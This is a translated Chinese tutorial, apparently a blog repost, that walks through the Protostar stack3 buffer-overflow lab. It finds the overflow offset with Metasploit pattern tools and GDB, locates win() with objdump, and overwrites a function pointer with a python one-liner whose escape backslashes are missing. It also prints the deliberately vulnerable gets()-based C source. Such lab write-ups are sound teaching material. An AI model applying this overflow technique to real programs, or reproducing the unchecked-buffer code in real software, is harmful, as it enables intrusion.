指针和固定大小缓冲区_缓冲区实例讲解之protostar stack3挑战篇

引言

在上两篇文章中1、2,我们已经解决了stack0、stack1和stack2挑战,今天,我们将为读者介绍如何解决protostar stack3。在解决前三个挑战的时候,我们使用了二进制文件的源代码,来识别缓冲区溢出发生的位置并加以利用。然而,对于stack3来说,我们虽然也有源代码,但是,我们却不打算使用它,相反,我们将使用一些实用的技术来解决这个挑战。那我们为什么要这么做呢?在现实情况下,我们基本上是没有机会得到目标程序的源代码,对吧?

c0d5caf027d5e75201ecd168b0658dc2.png

如果您还没有读过我之前撰写的关于缓冲区溢出的文章,建议您先阅读它们。

./Stack3

让我们先来考察一下这个程序,看看它是做什么的。

./stack3

51d0d050cc91606f47b6859286a7cd66.png

如图所示,我们没有看到任何输出内容,所以,看来我们应该给它提供一个参数。为了检测该程序是否含有缓冲区溢出漏洞,我们可以为其传递100个字符的参数,看看它有什么反应:

python -c "print 'A' * 100" | ./stack3

11c751524170a675be405b9375b01ffa.png

这时,我们看到一个segfault错误,这说明发生了缓冲区溢出;同时,我们还看到这样一行内容:“calling function pointer , jumping to 0x41414141”。

现在,我们已经大体知道发生了什么情况:其中有一个函数指针,它会根据函数给定的内存地址来执行函数。由于该内存地址存储在一个变量中,因此,当发生缓冲区溢出时,我们就可以覆盖或者说重写该变量了。我们看到,函数指针正在调用地址0x41414141,其中0x41是“A”的十六进制表示。所以,接下来我们要做两件事:第一件事是弄清楚缓冲区溢出是在哪里发生的,虽然上面给这个程序输入了一个100个字符的参数,但是我们并不知道缓冲区的确切大小;第二件事是找到我们需要执行的函数的内存地址。如何完成这两件事情呢?下面将为读者详细介绍。

确定缓冲区的大小

为了简单起见,这里将使用Kali box系统来完成这个程序的编译和测试工作。

Metasploit提供了两个分别名为pattern_create和pattern_offset的脚本,它们位于kali系统中的/usr/share/metasploit-framework/tools/exploit目录中。

pattern_create可以帮助我们创建一个指定长度的惟一字符串,就这里来说,我们将创建一个包含100个字符的模式(pattern)。

./pattern_create.rb -l 100

2f06dc01355d08650021087b209fc744.png

现在,让我们在GDB中运行该程序,对于我而言,使用的是gdb-peda。

19d0a21f7bb434fb7a6fdb164e72f109.png

首先,我们需要在main函数中设置一个断点。

break *main

这样一来,程序就会在main()函数的第一条指令之后中断。

fcf4743116fe11d59395f4c3f644c91e.png

然后,让我们运行该程序。

0fb41bfe25b6073cc69b6c2aa397e70d.png

现在,它在断点处如期停止运行。之后,我们按c键,让它继续运行,并向其传递我们指定的参数。

7ab184c78aadc9c276d40843336bc3ff.png

这时,可以看到发生了segfault错误,并可以看到该错误发生的具体位置,即0x63413163。

现在,我们将使用pattern_offset来了解0x63413163处存放的内容。

./pattern_offset -l 100 -q 63413163

如图所示,与偏移64处的内容是完全匹配的,这意味着缓冲区大小为64个字符,大于这个阀值就会发生溢出。

查找函数的内存地址

如果我们在GDB中运行info functions命令,就能看到所有函数及其内存地址,此外,我们也可以使用objdump来完成这一任务。但是,我们要找的函数是什么呢?

info functions

e3f8b2f8297ffa2c4a4a86bac77a030e.png

如图所示,这里有很多函数,但我们最感兴趣的一个函数是“win”,并且,它在我的Kali Box系统上的地址与在protostar机器上的地址并不相同。于是,我们返回protostar机器,并通过objdump来定位它。

objdump -d stack3

b9b975e9b9db6e15d21a9305959b6ae4.png

bea3f89b33746310282d973da183c0ea.png

如图所示,我们得到的地址为0x08048424。

利用漏洞

现在,我们可以轻松地构建相应的漏洞利用程序了——我们已经知道缓冲区长度为64个字符,所以,我们可以传递一个函数的地址,然后通过函数指针来执行它。

python -c "print 'A' * 64 + 'x24x84x04x08'" | ./stack3

2bcbf45e1a8d79cf4a6ba7b23b5aa4af.png

如图所示,这里的输出内容为“Code flow changed successfull”。

上面,我们已经在不借助源代码的情况下搞定了这个挑战,接下来,我们不妨看看这个程序的源代码到底长啥样:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void win()
{
 printf("code flow successfully changedn");
}
 
int main(int argc, char **argv)
{
 volatile int (*fp)();
 char buffer[64];
 
 fp = 0;
 
 gets(buffer);
 
 if(fp) {
  printf("calling function pointer, jumping to 0x%08xn", fp);
  fp();
 }
}

我们看到,该程序先定义了一个函数win(),然后,又定义了函数main(),并在该函数中定义了一个函数指针,创建了一个长度为64个字符的缓冲区,并将其值设置为0。之后,它会接受我们提供的参数,并将其存储在该缓冲区中。最后一条if语句会检查函数指针的值是否发生了改动,即是否依然为0;如果不为0的话,就根据新值来调用相应的函数。

本文到此结束,希望对大家有所帮助!

本文翻译自: https:// 0xrick.github.io/binary -exploitation/bof3/ 如若转载,请注明原文地址: http://www. 4hou.com/technology/156 65.html 更多内容请关注“嘶吼专业版”——Pro4hou
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值